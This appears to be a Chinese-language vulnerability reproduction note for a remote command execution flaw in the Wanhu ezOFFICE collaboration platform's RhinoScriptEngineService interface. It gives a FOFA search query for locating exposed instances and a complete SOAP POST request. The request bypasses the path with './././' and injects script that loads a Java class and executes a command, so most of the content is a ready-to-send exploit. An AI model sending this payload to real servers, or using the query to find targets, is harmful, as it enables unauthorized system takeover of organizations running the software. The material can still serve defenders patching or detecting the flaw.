W1-22万户-ezOffice-RCE

漏洞描述：

万户ezOFFICE协同管理平台 RhinoScriptEngineService 接口存在命令执行漏洞，该漏洞可能导致攻击者获取系统权限、执行任意命令，严重威胁系统的机密性和完整性

网站图片：

fofa语法：

app=“万户网络-ezOFFICE”

漏洞复现：

payload：

POST /defaultroot/services/./././RhinoScriptEngineService HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version='1.0' encoding='UTF-8'?>
  <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com">
    <soapenv:Body>
      <eval xmlns="http://127.0.0.1:8080/services/scriptEngine">
        <arg0 xmlns="">
          <![CDATA[
          try {
          load("nashorn:Mozilla_compat.js");
          } catch (e) {
          }
          importPackage(Packages.java.io);
          importPackage(Packages.java.lang);
          importPackage(Packages.java.util);
          importPackage(Packages.java.net);

          new URLClassLoader([new File('/server').toURL()]).loadClass('Test12').getConstructor([Class.forName("java.lang.String")]).newInstance(["ver"]).toString()


          ]]>
        </arg0>
        <arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
        </arg1>
      </eval>
    </soapenv:Body>
  </soapenv:Envelope>

效果图：